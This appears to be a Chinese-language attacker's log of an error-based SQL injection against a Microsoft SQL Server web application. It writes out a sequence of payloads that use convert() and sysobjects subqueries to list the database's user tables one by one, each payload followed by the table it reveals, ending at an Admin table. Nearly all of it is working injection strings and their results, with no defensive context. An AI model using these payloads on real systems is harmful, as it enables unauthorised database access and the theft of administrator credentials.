1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1

首先：select top 1 name form sysobjects where xtype='U'用来查数据库中的用户表

说明存在sysdiagrams 这个表

1' and 1=(select top 1 name from sysobjects where xtype='U') and '1' ='1

sysdiagrams

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams')) and '1' ='1

表：Commonness

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness')) and '1' ='1

表：Bargain

go on ：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain')) and '1' ='1

表：ValidationReport

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport')) and '1' ='1

表：Examine

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine')) and '1' ='1

表：OpinionBook

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook')) and '1' ='1

表：ProjectInformation

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation')) and '1' ='1

表：Company

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company')) and '1' ='1

表：yinfu

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu')) and '1' ='1

表：NewsType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType')) and '1' ='1

表：AdminType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType','AdminType')) and '1' ='1

表：Admin

==================